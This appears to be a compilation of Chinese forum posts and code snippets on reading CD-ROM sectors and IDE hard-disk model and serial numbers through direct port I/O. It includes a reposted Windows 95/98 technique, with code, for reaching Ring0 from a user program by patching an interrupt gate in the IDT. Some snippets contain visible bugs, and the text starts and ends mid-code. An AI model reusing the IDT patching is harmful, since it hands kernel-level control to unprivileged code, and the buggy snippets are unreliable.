nodisk:mov ax,0040h

mov es,ax

mov ax,01h

mov es:[40h],ax

mov bx,0fh

wait0:mov cx,0ffffh

delay:loop delay

dec bx

jnz wait0

jmp jy

exit:pop dx

pop cx

pop ax

pop es

retf

start endp

code ends

end


直接CD-ROM扇区读取
Ray, for WIndows NT, the following procedure fragment will give some hints:

procedure TAudioCD.set_drive_letter (c: char);

var

cd_name: string;

er: integer;

begin

FDriveLetter := UpCase (C);

cd_name := '\\.\' + FDriveLetter + ':';

// connect to the CD-ROM directly, note the file name used....

hCD := CreateFile (PChar (cd_name), GENERIC_READ, FILE_SHARE_READ, nil,

OPEN_EXISTING, 0, 0);

if hCD = INVALID_HANDLE_VALUE then

begin

er := GetLastError;

Raise Exception.Create ('Failed to connect to CD-ROM drive, error ' +

IntToStr (er));

Exit;

end;

end;

Once you have hCD, look at the SetFilePointer and ReadFile Win32

functions....

You already have hints for Windows 98.


硬盘参数信息
下面是一位前辈写的代码

IDE.PAS (IDE硬盘参数检测)

?Programmed by: 刘 杰

?nbsp;Designed : 04/11/92

?nbsp;Last modified: 01/26/95

?请使用 Turbo Pascal 7.0 编译.

const

{ read/write --------------------------- }

HDC_DATA = $01F0;

HDC_ERROR = $01F1;

HDC_SECCOU = $01F2;

HDC_SECNUM = $01F3;

HDC_CYLLOW = $01F4;

HDC_CYLHIGH = $01F5;

HDC_SDH = $01F6;

{ read --------------------------------- }

HDC_STATUS : Word = $01F7;

HDC_ALTSTA = $03F6;

{ write -------------------------------- }

HDC_COMMAND = $01F7;

HDC_FIXED = $03F6;

{ commands ----------------------------- }

HDC_COMMAND_RESTORE = $10;

HDC_COMMAND_SEEK = $70;

HDC_COMMAND_READ = $20;

HDC_COMMAND_WRITE = $30;

HDC_COMMAND_FORMAT = $50;

HDC_COMMAND_READVER = $90;

HDC_COMMAND_DIAG = $90;

HDC_COMMAND_SETPAR = $91;

HDC_COMMAND_WRSTACK = $E8;

HDC_COMMAND_RDSTACK = $E4;

HDC_COMMAND_READPAR = $EC;

HDC_COMMAND_POWER = $E0;

HDC_FIXED_IRQ = $02;

HDC_FIXED_RESET = $04;

HDC_STATUS_ERROR = $01;

HDC_STATUS_INDEX = $02;

HDC_STATUS_ECC = $04;

HDC_STATUS_DRQ = $08;

HDC_STATUS_COMPLETE = $10;

HDC_STATUS_WRFAULT = $20;

HDC_STATUS_READY = $40;

HDC_STATUS_BUSY = $80;

type

TIdeTypes = record

Cylinders,

Heads,

Sectors: Word;

Name: String[38];

end;

PIdeInfo = ^TIdeInfo;

TIdeInfo = record

genconf,

fixcyls,

remcyls,

heads,

bytetrack, { bytes per track }

bytesector, { bytes per sector }

sectors, { sectors per track }

byteisg, { bytes intesector gap }

byteplo, { bytes in sync }

worduniq: Word; { words unique status }

serial: array[1..20] of Char;

contype, { controller type }

bufsiz, { buffer size in 512 byte blocks }

byteecc: Word; { ECC bytes trasferred in read/write long

}

firmware: array[1..8] of Char; { firmware revision }

model: array[1..40] of Char; { model ID }

secsint, { number of sectors transferred per inte

rrupt }

dblword, { double word transfer flag }

writepro: Word; { write protect }

end;

const

IdesInDataBase = 17;

IdeTypes: array[1..IdesInDataBase] of TIdeTypes =

((Cylinders:667; Heads:4; Sectors:33; Name:'Fujitsu M2611T (42.9 MB)'),

(Cylinders:667; Heads:8; Sectors:33; Name:'Fujitsu M2612T (85.9 MB)'),

(Cylinders:667; Heads:12; Sectors:33; Name:'Fujitsu M2613T (128.9 MB)')

,

(Cylinders:667; Heads:16; Sectors:33; Name:'Fujitsu M2614T (171.9 MB)')

,

(Cylinders:782; Heads:2; Sectors:27; Name:'Western Digital WD93024-A (

20.6 MB)'),

(Cylinders:782; Heads:4; Sectors:27; Name:'Western Digital WD93044-A (

41.2 MB)'),

(Cylinders:845; Heads:3; Sectors:35; Name:'Toshiba MK232FC (45.4 MB'),

(Cylinders:845; Heads:7; Sectors:35; Name:'Toshiba MK234FC (106 MB'),

(Cylinders:965; Heads:5; Sectors:17; Name:'Quantum ProDrive 40AT (40 M

B)'),

(Cylinders:965; Heads:10; Sectors:17; Name:'Quantum ProDrive 80AT (80 M

B)'),

(Cylinders:1050; Heads:2; Sectors:40; Name:'Teac SD-340 (41 MB)'),

(Cylinders:776; Heads:8; Sectors:33; Name:'Conner CP-3104 (100 MB)'),

(Cylinders:745; Heads:4; Sectors:28; Name:'Priam 3804M (40.7 MB)'),

(Cylinders:980; Heads:10; Sectors:17; Name:'Western Digitial Caviar AC2

80 (81 MB)'),

(Cylinders:560; Heads:6; Sectors:26; Name:'Seagate ST157A (42 MB)'),

(Cylinders:732; Heads:8; Sectors:35; Name:'ALPS ELECTRIC Co.,LTD. DR31

1C (102 MB)'),

(Cylinders:0; Heads:0; Sectors:0; Name:''));

type

parray = ^tarray;

tarray = array[1..256] of Word;

var

secbuf: parray;

drive: Byte;

drv: String[1];

procedure printinfo;

var

id: TIdeInfo;

capacity: Word;

types: String;

i: Integer;

function zo(const value: Byte): String;

begin

if Boolean(value) then

zo := ''

else

zo := 'not';

end;

function ToStr(value: LongInt): String;

var

S: String;

begin

Str(value, S);

ToStr := S;

end;

function ConvertHex(Value: Word): String;

const

hexTable: array[0..15] of Char = '0123456789ABCDEF';

begin

ConvertHex := hexTable[Hi(Value) shr 4] + hexTable[Hi(Value) and $f] +

hexTable[Lo(Value) shr 4] + hexTable[Lo(Value) and $f];

end;

procedure SwapBytes(var Source, Dest; Len: Byte); assembler;

asm

push ds

lds si, Source

les di, Dest

mov cl, len

xor ch, ch

@1: mov ax, ds:[si]

xchg ah, al

mov es:[di], ax

inc si

inc si

inc di

inc di

loop @1

pop ds

end;

begin

id := PIdeInfo(secbuf)^;

{ get disk type by characteristics }

i := 1;

while IdeTypes[i].Cylinders <> 0 do

Begin

if (IdeTypes[i].cylinders = id.fixcyls) and

(IdeTypes[i].heads = id.heads) and

(IdeTypes[i].sectors = id.sectors) then

Begin

types := IdeTypes[i].name;

break;

end;

inc(i);

end;

{ unknown disk }

if (IdeTypes[i].cylinders = 0) then

Begin

types := ' ';

{ calculate capacity in MB }

capacity := (LongInt(id.fixcyls) * id.heads * id.sectors) div 2048;

types := types + ToStr(capacity);

types := types + ' Mbytes';

end;

{ swap bytes in ASCII fields except for WD disks }

if (i <> 4) and (i <> 5) then

Begin

SwapBytes(id.serial, id.serial, 10);

SwapBytes(id.firmware, id.firmware, 4);

SwapBytes(id.model, id.model, 20);

end;

WriteLn('Drive ', drive-2, ' :', types);

WriteLn('Drive ID : ', ConvertHex(id.genconf));

WriteLn('Cylinders : ', id.fixcyls{, ' ' id.remcyls, ' removables'});

WriteLn('Heads : ', id.heads);

Writeln('Sectors : ', id.sectors);

WriteLn('Serial No. : ', id.serial);

WriteLn('Firmware : ', id.firmware);

WriteLn('Model : ', id.model);

{ WriteLn('Bytes per track : ', id.bytetrack);

Writeln('Bytes per sector : ', id.bytesector);

WriteLn('Bytes of intersector gap: ', id.byteisg);

Writeln('Bytes of sync : ', id.byteplo);

WriteLn('Controller type : ', id.contype);}

Writeln('Buffer : ', id.bufsiz div 2, ' KBytes');

WriteLn('Bytes of ECC: ', id.byteecc);

end;

procedure readsect; assembler;

asm

{ poll DRQ }

@1: mov dx, HDC_STATUS

in al, dx

and al, HDC_STATUS_BUSY

or al, al

jne @1

{ read up sector }

mov cx, 256

mov dx, HDC_DATA

les di, secbuf

@2: in ax, dx

mov es:[di], ax

inc di

inc di

loop @2

end;

function DriveValid(Drive: Char; var Drv: Byte): Boolean; assembler;

asm

mov ah, 19h { Save the current drive in BL }

int 21h

mov bl, al

mov dl, Drive { Select the given drive }

sub dl, 'A'

les di, DRV

mov es:[di], dl

mov ah, 0Eh

int 21h

mov ah, 19h { Retrieve what DOS thinks is current }

int 21h

mov cx, 0 { Assume false }

cmp al, dl { Is the current drive the given drive? }

jne @1

mov cx, 1 { It is, so the drive is valid }

mov dl, bl { Restore the old drive }

mov ah, 0eh

int 21h

@1: xchg ax, cx { Put the return value into AX }

end;

function CurDisk: Byte; assembler;

{ Returns current drive }

asm

mov ah, 19h

int 21h

end;

begin

Writeln('IDE ver 1.2 (c) 1995 Keenvim software workgroup, Inc.');

writeln('Programmed by Mr. LiuJie'#13#10);

if ParamCount > 0 then

Begin

drv := ParamStr(1);

drv[1] := UpCase(drv[1]);

if not DriveValid(drv[1], Drive) or not (drv[1] in ['C'..'Z']) then

Begin

WriteLn('There isn''t such drive or drive invalid!');

Halt(1);

end;

end

else

drive := CurDisk;

{ disable interrupt from drive }

Port[HDC_FIXED] := HDC_FIXED_IRQ;

{ set up task file parameter }

Port[HDC_SDH] := $A0 + (drive shl 4);

{ issue read parameters }

Port[HDC_COMMAND] := HDC_COMMAND_READPAR;

GetMem(secbuf, SizeOf(secbuf));

{ read up sector }

readsect;

{ print out info }

printinfo;

FreeMem(secbuf, SizeOf(secbuf));

end.

********************

程序是编译过了，可是一运行就死机，帮我看看如何

unit Getsn;

interface

uses

Windows, SysUtils, Classes;

type

TGetsn = class(TComponent)

private

protected

{ Protected declarations }

public

{ Public declarations }

published

{ Published declarations }

end;

var

pw:array[1..256] of word;

idt,int_idt:dword;

Base:dword;

Entry:word;

function inp(rdx:WORD):byte;

function inpw(rdx:WORD):word;

procedure outp(rdx:WORD;ral:integer);

function WaitIde:integer;

procedure ReadIDE;

procedure NowInRing0;

procedure GetIDEInfo;

function harddisksn:string;

implementation

function inp(rdx:WORD):byte;Assembler;

asm

xor eax, eax

mov dx, rdx

in al, dx

mov result,al

end;

function inpw(rdx:WORD):word;Assembler;

asm

xor eax, eax

mov dx, rdx

in ax, dx

mov result,ax;

end;

procedure outp(rdx:WORD;ral:integer);Assembler;

asm

mov dx, rdx

mov eax, ral

out dx, al

end;

function WaitIde:integer;

var

al:word;

begin

al:=inp($1F7);

while (al<$80)do

al:=inp($1F7);

result:=al;

end;

procedure ReadIDE;

var

al,i:byte;

begin

WaitIde;

outp($1F6,$A0);

al:= WaitIde;

if ((al and $50)<>$50) then exit;

outp($1F6,$A0);

outp($1F7,$EC);

al:=WaitIde;

if ((al and $58)<>$58) then exit;

for i:=0 to 255 do

pw[i]:=inpw($1F0);

end;

procedure NowInRing0;Assembler;

asm

push ebp

mov ebp,esp

call ReadIDE;

cli

mov ebx, int_idt

mov ax, Entry

mov word ptr[ebx-4], ax

mov eax, Base

shr eax, 16

mov [ebx+2], ax

sti

leave

iretd

end;

procedure GetIDEInfo;Assembler;

var

dwExcept:DWORD;

begin

dwexcept:=dword(addr(nowinring0));

asm

mov eax, fs:[0]

push eax

sidt [esp-02h]

pop ebx

mov idt, ebx

add ebx, $1C

mov int_idt, ebx

mov eax, [ebx]

mov [Base], eax

mov ax, [ebx-4]

mov [Entry], ax

cli

mov esi, dwExcept

push esi

mov [ebx-4], si

shr esi, 16

mov [ebx+2], si

pop esi

sti //到这里死机

int 3

end;

end;

function harddisksn:string;

var

s:array[1..80] of char;

i,j:integer;

begin

GetIDEInfo;

j:=0;

for i:=0 to 9 do

while (j<=19) do

begin

s[j]:=chr(pw[10+i]shr 8);

j:=j+1;

s[j]:=chr(pw[10+i]and $FF);

j:=j+1;

end;

s[j]:=chr(0);

result:=s;

end;

end.

*****************

一个读取硬盘SN号的C程序,我已经转了差不多了,只是一运行就死机,但C程序绝对正确.

C程序在下.

#include

#include

WORD pw[256];

static DWORD idt, int_idt;

static DWORD Base;

static WORD Entry;

#pragma warning (disable:4035)

static int inp(WORD rdx)

{

_asm xor eax, eax

_asm mov dx, rdx

_asm in al, dx

}

static WORD inpw(WORD rdx)

{

_asm xor eax, eax

_asm mov dx, rdx

_asm in ax, dx

}

static void outp(WORD rdx, int ral)

{

_asm mov dx, rdx

_asm mov eax, ral

_asm out dx, al

}

static int WaitIde()

{

int al;

while ((al=inp(0x1F7))>=0x80) ;

return al;

}

static void ReadIDE()

{

int al;

int i;

WaitIde();

outp(0x1F6,0xA0);

al = WaitIde();

if ((al&0x50)!=0x50) return;

outp(0x1F6,0xA0);

outp(0x1F7,0xEC);

al = WaitIde();

if ((al&0x58)!=0x58) return;

for (i=0;i<256;i++) {

pw[i] = inpw(0x1F0);

}

}

static void __declspec( naked ) NowInRing0()

{

_asm {

push ebp

mov ebp,esp

call ReadIDE

cli

mov ebx, int_idt

mov ax, Entry

mov word ptr [ebx-4], ax

mov eax, Base

shr eax, 16

mov [ebx+2], ax

sti

leave

iretd

}

}

void GetIDEInfo()

{

DWORD dwExcept;

dwExcept = (DWORD)NowInRing0;

_asm {

mov eax, fs:[0]

push eax

sidt [esp-02h]

pop ebx

mov idt, ebx

add ebx, 0x1C

mov int_idt, ebx

mov eax, [ebx]

mov [Base], eax

mov ax, [ebx-4]

mov [Entry], ax

cli

mov esi, dwExcept

push esi

mov [ebx-4], si

shr esi, 16

mov [ebx+2], si

pop esi

sti

int 3

}

}

main()

{

char s[80];

register i,j;

GetIDEInfo();

for (i=0,j=0;i<10;i++) {

s[j++]=pw[10+i]>>8;

s[j++]=pw[10+i]&0xFF;

}

s[j] = 0;

printf("Serial=%s", s);

return 0;

}


HD S/N
#include <stdlib.h>

#include <bios.h>

#include <dos.h>

#include <math.h>

#include <stdio.h>

char *GetAscii(unsigned int inData[], int offStart, int offEnd);

int main(void)

{

unsigned int diskData[256]; /* Disk data */

unsigned int offset; /* Disk data offset */

int loop;

int numDrv; /* Number of IDE hard drives */

union REGS registers;

unsigned int biosCyl[2]; /* Cylinders, Heads, Sectors */

unsigned int biosHead[2];

unsigned int biosSec [2];

printf("2000.02.16 IDESCAN.");

//printf(" ");

numDrv = peekb(0x40, 0x75); /* BIOS Data area, Number of Hard disks */

for (loop = 0; loop < numDrv; loop++)

{

while (inp(0x01f7) != 0x50); /* Wait for controller not busy */

outp(0x01f6, (loop == 0 ? 0xa0 : 0xb0)); /* Get first/second drive */

outp(0x01f7, 0xec); /* Get drive info data */

while (inp(0x1f7)!= 0x58); /* Wait for data ready */

for (offset = 0; offset != 256; offset++) /* Read "sector" */

diskData[offset] = inpw(0x1f0);

/* Get BIOS drive info */

registers.h.ah = 0x08; /* Get drive info */

registers.h.dl = 0x80 + loop; /* Drive is 80H for Disk 0, 81H for Disk 1 */

int86(0x13, &registers, &registers);

if (!registers.x.cflag) /* All OK if carry not set */

{

biosHead[loop] = registers.h.dh + 1; /* Heads are from 0GetAscii(diskData, 27, 46), */

biosSec[loop] = registers.h.cl & 0x3f; /* sec is bits 5 - 0 */

/* +1 because starts from 0 and +1 for FDISK leaving one out */

biosCyl[loop] = ((registers.h.cl & 0xc0) << 2) + registers.h.ch + 2;

} /* end of if */

printf("DRIVE %d:", loop);

printf("Model Number______________________:%s ",GetAscii(diskData, 27, 46));

printf("Serial Number_____________________::%s ", GetAscii(diskData, 10, 19));

printf("Controller Revision Number________: %s", GetAscii(diskData, 23, 26));

printf("Able to do Double Word Transfer___: %6s", (diskData[48] == 0 ? "No" : "Yes"));

printf("Controller type___________________: %04X", diskData[20]);

printf("Controller buffer size (bytes)____: %6u", diskData[21] * 512);

printf("Number of ECC bytes transferred___: %6u", diskData[22]);

printf("Number of sectors per interrupt___: %6u", diskData[47]);

printf("Hard Disk Reports ");

printf("Number of Cylinders (Fixed)_______: %6u", diskData[1]);

printf("Number of Heads___________________: %6u", diskData[3]);

printf("Number of Sectors per Track_______: %6u", diskData[6]);

printf("BIOS Reports");

printf("Number of Cylinders_______________: %6u", biosCyl[loop]);

printf("Number of Heads___________________: %6u", biosHead[loop]);

printf("Number of Sectors per Track_______: %6u", biosSec[loop]);

printf("");

//getch();

} /* end of for */

return 0;

} /* main() */

char *GetAscii(unsigned int inData[], int offStart, int offEnd)

{

static char retVal[255];

int loop, loop1;

for (loop = offStart, loop1 = 0; loop <= offEnd; loop++)

{

retVal[loop1++] = (char )(inData[loop] / 256); /* Get High byte */

retVal[loop1++] = (char )(inData[loop] % 256); /* Get Low byte */

} /* end of for */

retVal[loop1] = '0'; /* Make sure it ends in a NULL character */

return retVal;

} /* GetAscii() */

--------------

读取硬盘出厂信息

进入0级

bool CallRing0(PVOID pvRing0FuncAddr, WORD wPortAddr, PDWORD pdwPortVal, BYTE bSize)

读端口

bool GetPortVal(WORD wPortAddr, PDWORD pdwPortVal, BYTE bSize)

写端口

bool SetPortVal(WORD wPortAddr, DWORD dwPortVal, BYTE bSize)

回复人：Searph(2000-11-28 8:38:00) 得30分

---- 硬盘的序列号只能采用对硬盘控制器直接操作的方式进行读取，也就是说只能采用CPU的I/O指令操作硬盘控制器，读取的方法如下面的C语言程序所示：

static int WaitIde()

{

int al;

while ((al=inp(0x1F7)) >=0x80) ;

return al;

}

static void ReadIDE()

{

int al;

int i;

WORD pw[256];

WaitIde();

outp(0x1F6,0xA0);

al = WaitIde();

if ((al&0x50)!=0x50) return;

outp(0x1F6,0xA0);

outp(0x1F7,0xEC);

al = WaitIde();

if ((al&0x58)!=0x58) return;

for (i=0;i< 256;i++)

pw[i] = inpw(0x1F0);

}

---- 上面的程序实际上读取了保存在硬盘控制器内的全部信息，而序列号只是其中的一部分，位于上面提到的 pw[] 数组的 10 至 20 元素内，即从 &pw[10] 开始的10个WORD内，每个WORD占两个字节，共占用了20个字节。由于该序列号保存时每个WORD的高、低字节是非Intel顺序，也就是说它的高字节在前，低字节在后，所以在使用时需要将高、低字节颠倒一下，这样就能得到完整的序列号。

不过要在ring0下，在98下可以通过以下方法得到ring0

令Win32应用程序跳入系统零层

---- 众 所 周 知， 在Windows95/98 的Win32 on Intel x86 体 系 中 利 用 了 处 理 器 的 三 环 保 护 模 型 中 的 零 环（Ring0， 最 高 权 限 级 别） 和 三 环（Ring3， 最 低 权 限 级 别）。 一 般 应 用 程 序 都 运 行 在Ring3 下， 受 到 严 格 的" 保 护"， 只 能 规 矩 地 使 用Win32API。 如 果 我 们 想 进 行 一 些 系 统 级 的 操 作， 例 如 在 嵌 入 汇 编 中 使 用 诸 如"Mov EAX，CR0"， 或 像 在DOS 下 那 样 调 用 一 些 必 不 可 少 的 系 统 服 务（ 如BIOS，DPMI 服 务） 而 用"Int xx"， 都 会 导 致" 非 法 操 作"。 但 这 种 能 力 有 时 是 必 不 可 少 的， 一 到 这 种 时 候Microsoft 就 " 建 议 编 写 一 个VxD"。VxD 大 家 早 有 所 闻 了， 在VxD 里， 不 但 可 以 执 行CPU 的 所 有 指 令， 而 且 可 以 调 用VMM( 虚 拟 机 管 理 器） 和 其 他VxD 提 供 的 上 千 个 系 统 级 服 务。 获 得 这 一 能 力 的 最 本 质 原 因 在 于 它 运 行 在Ring0， 与 系 统 内 核 同 一 级 别。 但 是 它 体 系 的 复 杂 性、 开 发 工 具 的 不 易 获 得、 帮 助 文 档 的 不 完 备， 使Microsoft 排 除 了 一 大 批 程 序 员 和 竞 争 对 手。 而 将 在Windows2000（Windows98 也 开 始 支 持） 中 取 代VxD 的WDM 对Win95 程 序 员 也 是 个 噩 梦， 它 需 要 了 解Windows NT 核 心 驱 动 模 型。

----有 没 有 简 单 一 些 的 办 法 呢 ？ 我 们 可 以 令 一 个 普 通Win32 应 用 程 序 运 行 在Ring0 下， 从 而 获 得VxD 的 能 力 吗 ？ 答 案 是 肯 定 的。 下 面 我 们 就 简 述 一 下 这 一 技 巧， 有 关Intel x86 保 护 模 式 的 基 础 知 识 请 大 家 看 有 关 书 籍。

----首 先 此 技 巧 基 于 以 下 理 论 根 据：

----一、SIDT 指 令（ 将 中 断 描 述 符 表 寄 存 器 IDTR － －64 位 宽，16 ～47Bit 存 有 中 断 描 述 符 表IDT 基 地 址 － － 的 内 容 存 入 指 定 地 址 单 元） 不 是 特 权 指 令， 就 是 说 我 们 可 以 在Ring3 下 执 行 该 指 令， 获 得IDT 的 基 地 址， 从 而 修 改IDT， 增 加 一 个 中 断 门 安 置 我 们 的 中 断 服 务， 一 旦Ring3 程 序 中 产 生 此 中 断，VMM 就 会 调 用 此 中 断 服 务 程 序， 而 此 中 断 服 务 程 序 就 运 行 在Ring0 下 了。 这 一 点 与 在DOS 下 非 常 相 似。

----二、Windows95 Win32 应 用 程 序 运 行 一 个 映 射 到 全 部4G 内 存 的 段 中， 选 择 子 为0137h，Ring0 中 的VxD 运 行 在 另 一 个 映 射 到 全 部4G 内 存 的 段 中， 选 择 子028h， 这 两 个 段 除 了 选 择 子 决 定 的 访 问 权 限 不 同 外， 没 什 么 不 同， 各 自 段 中 相 同 的 偏 移 量 对 应 了 相 同 的 线 性 地 址。 所 以 我 们 放 在Win32 应 用 程 序 中 的 中 断 服 务 程 序 可 以 以Ring3 的 段 偏 移 量 被Ring0 中 的VMM 寻 址。

----下 面 我 们 以 具 体 例 子 进 一 步 说 明， 程 序 中 有 详 细 注 释。

----这 是 一 个Win32 Console Program（ 控 制 台 应 用 程 序）， 虽 然 运 行 中 看 起 来 很 像DOS 筐 中 运 行 的 实 模 式DOS 程 序， 但 它 是 货 真 价 实 的 运 行 在Ring3 下 的Win32 程 序。 用Visual C ＋ ＋ 5.0 AppWizard 创 建 一 个Win32 Console Program 项 目, 添 加 以 下.CPP 文 件, 编 译 即 可。

＃include

＃include

＃include

＃include

// 若 无DDK 带 下 划 线 的 可 略 去，

这 些 语 句 演 示 了 调 用VMM/VXD 服 务

DWORDLONG IDTR,SavedGate;

WORD OurGate[4]={0,0x0028,0xee00,0x0000};

// 中 断 门 描 述 符 格 式 如 下：

DWORD _eax,_ecx,_cr0;

WORD vmmver;

HVM sysvm;

void nothing()

{

//Used to test call in Ring0

sysvm=Get_Sys_VM_Handle();

}

void __declspec( naked ) Ring0Proc(void)

// 中 断 例 程， 运 行 在Ring0

{

_asm{

mov _eax,eax //

mov _ecx,ecx //

mov eax, CR0

// 测 试Ring3 中 不 能 执 行 的 特 权 指 令

mov _cr0,eax //

}

VMMCall(Get_VMM_Version);

// 调 用VMM 服 务

_asm{

mov vmmver,ax

}

nothing();

// 测 试 在 运 行 于Ring0 的

中 断 例 程 中 调 用 子

_asm iretd

// 中 断 返 回, 与 在 实 模 式

编 程 无 本 质 区 别

}

void main() // 主 程 序

{

_asm{

mov eax, offset Ring0Proc

mov [OurGate], ax // 将 中 断 函 数 的 地 址

shr eax, 16 // 填 入 新 造 的 中 断 门

mov [OurGate ＋6], ax // 描 述 符

sidt fword ptr IDTR

// 将 中 断 描 述 符 表 寄 存 器（IDTR）

的 内 容 取 出

mov ebx, dword ptr [IDTR ＋2]

// 取 出 中 断 描 述 符 表（IDT） 基 地 址

add ebx, 8 ＊9

// 计 算Int 9 的 描 述 符 应 放 置 的 地 址 选 用

Int9 是 因 为 它 在Win32 保 护 模 式 下 未 占 用

mov edi, offset SavedGate

mov esi, ebx

movsd // 保 存 原 来 的Int 9 描 述 符 到

movsd //SavedGate 以 便 恢 复

mov edi, ebx

mov esi, offset OurGate

movsd // 替 换 原 来 的 中 断 门 描 述 符

movsd // 以 安 装 中 断 服 务 例 程

mov eax,0x6200

// 用 以 测 试 放 在EAX 中 的 数 据

能 否 正 确 传 到Ring0 中 断

mov ecx,0

// 用 以 测 试 放 在ECX 中 的 数 据

能 否 正 确 传 到Ring0 中 断

mov ecx,0

// 用 以 测 试 放 在ECX 中 的 数 据

能 否 正 确 传 到Ring0 中 断

// 因 为 很 多VxD 服 务 都 用

此 二 寄 存 器 传 递 参 数

int 9h

// 人 为 触 发 中 断, 平 时 会 出 现

保 护 错 误 蓝 屏 或 非 法 操

// 作 对 话 框， 现 在 安 装 了

// 中 断 服 务 例 程 后， 就 会 通 过

//VMM 在Ring0 调 用 中 断 服 务 例 程

－ －Ring0Proc

mov edi, ebx

mov esi, offset SavedGate

movsd // 恢 复 原 来 的 中 断 门 描 述 符

movsd

}

cout<<"CR0="<<_cr0<

*********************************************

/* 程序1: 获得IDE硬盘C的序列号 */

#include <stdio.h>

#include <stdlib.h>

#include <dos.h>

#include <conio.h>

#include <string.h>

char *getascii (unsigned int in_data [], int off_start, int off_end);

void main (void)

{

unsigned int dd [256]; /* DiskData */

unsigned int dd_off; /* DiskData offset */

while (inp (0x1F7) != 0x50) /* Wait for controller not busy */

;

outp (0x1F6, 0xA0); /* Get first/second drive */

outp (0x1F7, 0xEC); /* Get drive info data */

while (inp (0x1F7) != 0x58) /* Wait for data ready */

;

for (dd_off = 0; dd_off != 256; dd_off++) /* Read "sector" */

dd [dd_off] = inpw (0x1F0);

printf ("The Serial Number Hard Disk [C] is %s", getascii (dd, 10, 19));

}

char *getascii (unsigned int in_data [], int off_start, int off_end)

{

static char ret_val [255];

int loop, loop1;

for (loop = off_start, loop1 = 0; loop <= off_end; loop++)

{

ret_val [loop1++] = (char) (in_data [loop] / 256); /* Get High byte */

ret_val [loop1++] = (char) (in_data [loop] % 256); /* Get Low byte */

}

ret_val [loop1] = '0'; /* Make sure it ends in a NULL character */

return (ret_val);

}

/* 程序2: 获得逻辑盘C的序列号 */

#include <stdio.h>

#include <stdlib.h>

#include <ctype.h>

#include <dos.h>

void main(void)

{

char serial_no[10];

union REGS r;

struct SREGS s;

unsigned sno1, sno2;

r.x.ax = 0x6900;

r.h.bl = 3; /* A:=1, B:=2, C:=3 etc. */

segread(&s);

intdosx(&r, &r, &s);

if (r.x.cflag)

*serial_no = '0';

else

{

sno2 = *((unsigned far *)MK_FP(s.ds, r.x.dx+2));

sno1 = *((unsigned far *)MK_FP(s.ds, r.x.dx+4));

sprintf(serial_no, "%04X-%04X", sno1, sno2);

}

printf("The Serial Number of Login Disk [C] is %s", serial_no );

}


硬盘ID号序列号
Hard disk serial number

Question

Is there anyone who knows how to obtain the hard disk serial number?

Answer

I have an unit to get the Hd Name and the Hd Serial number for Borland

Pascal 7.0. I don't know if it's working with Delphi and the other thing is

that it is in dutch and I don't have time to translate it in englisch. Mayby

you can use it, otherwise drop it out of the window.

Unit HardDisk;

INTERFACE

FUNCTION GetHardDiskNaam : STRING;

FUNCTION GetHardDiskSerieNummer : STRING;

FUNCTION GetHardDiskControlleNummer : STRING;

PROCEDURE GetHardDiskGegevens;

CONST

CodeerTabel : ARRAY[0..24] OF BYTE =

(3,1,2,1,4,1,3,2,6,4,6,5,1,2,6,4,2,6,3,4,6,2,4,1,2);

TYPE

CharArray = ARRAY[0..24] OF CHAR;

VAR

HardDiskGegevens : ARRAY[1..256] OF INTEGER;

HardDiskNaam : CharArray;

SerieNummer : CharArray;

ControlleNummer : CharArray;

C_HardDiskNaam: STRING;

C_HardDiskSerieNummer : STRING;

C_HardDiskControlleNummer : STRING;

C_LicentieNaam: STRING;

IMPLEMENTATION

FUNCTION GetHardDiskNaam : STRING;

VAR

Teller : INTEGER;

Lus : INTEGER;

BEGIN

GetHardDiskNaam := '';

Teller := 1;

FOR Lus := 1 TO 18 DO

BEGIN

HardDiskNaam[Teller] := CHR( ( HardDiskGegevens[27+Lus] DIV 256 ));

Inc(Teller);

HardDiskNaam[Teller] := CHR( ( HardDiskGegevens[27+Lus] MOD 256 ));

Inc(Teller);

END;

GetHardDiskNaam := HardDiskNaam;

END;

FUNCTION GetHardDiskSerieNummer : STRING;

VAR

Teller : INTEGER;

Lus : INTEGER;

BEGIN

GetHardDiskSerieNummer := '';

Teller := 1;

FOR Lus := 1 TO 8 DO

BEGIN

SerieNummer[Teller] := CHR( ( HardDiskGegevens[10+Lus] DIV 256 ));

Inc(Teller);

SerieNummer[Teller] := CHR( ( HardDiskGegevens[10+Lus] MOD 256 ));

Inc(Teller);

END;

GetHardDiskSerieNummer := SerieNummer;

END;

FUNCTION GetHardDiskControlleNummer : STRING;

VAR

Teller : INTEGER;

Lus : INTEGER;

BEGIN

GetHardDiskControlleNummer := '';

Teller := 1;

FOR Lus := 1 TO 3 DO

BEGIN

ControlleNummer[Teller] := CHR( ( HardDiskGegevens[23+Lus] DIV 256 ));

Inc(Teller);

ControlleNummer[Teller] := CHR( ( HardDiskGegevens[23+Lus] MOD 256 ));

Inc(Teller);

END;

GetHardDiskControlleNummer := ControlleNummer;

END;

PROCEDURE GetHardDiskGegevens;

VAR

Lus : INTEGER;

BEGIN

WHILE ( Port[$1f7] <> $50) DO ;

Port[$1F6] := $A0 ;

Port[$1F7] := $EC ;

WHILE ( Port[$1f7] <> $58 ) DO ;

FOR Lus := 1 TO 256 DO

BEGIN

HardDiskGegevens[Lus] := Portw[$1F0] ;

END;

END;

END.


HD S/N
以下例子可以读出硬盘序列号，但只能在win9x中使用。

要想在win98,winnt,win2000上都适用的话，只能编vxd了。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations HD S/N}

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

type

TGate = record

Off2,op,seg,off1:WORD;

end;

LONGDWORD = INT64;

var

IDTR: LONGDWORD;

SavedGate:TGate;

OurGate: TGate;

dd: array [0..256] of word;

dsn:array [0..20] of char; //存放硬盘序列号

procedure Ring0Proc();

asm

// Wait for controller not busy

mov dx,01f7h

@1:in al,dx

cmp al,050h

jne @1

// Get first/second drive

dec dx

mov al,0a0h

out dx,al

// Get drive info data

inc dx

mov al,0ech

out dx,al

nop

nop

// Wait for data ready

@2:in al,dx

cmp al,058h

jne @2

nop

nop

// Read sector

xor ecx,ecx

mov dx,01f0h

@3:in ax,dx

mov word ptr dd[ecx*2],ax

inc ecx

cmp ecx,256

jne @3

iretd //中断返回

end;

procedure Change2Ring0();

begin

asm

mov eax, offset Ring0Proc

mov OurGate.off2, ax // 将 中 断 函 数 的 地 址

shr eax, 16 // 填 入 新 造 的 中 断 门

mov OurGate.off1, ax // 描 述 符

mov OurGate.op,0028h

mov OurGate.seg,0ee00h

mov ebx,offset IDTR

sidt [ebx]

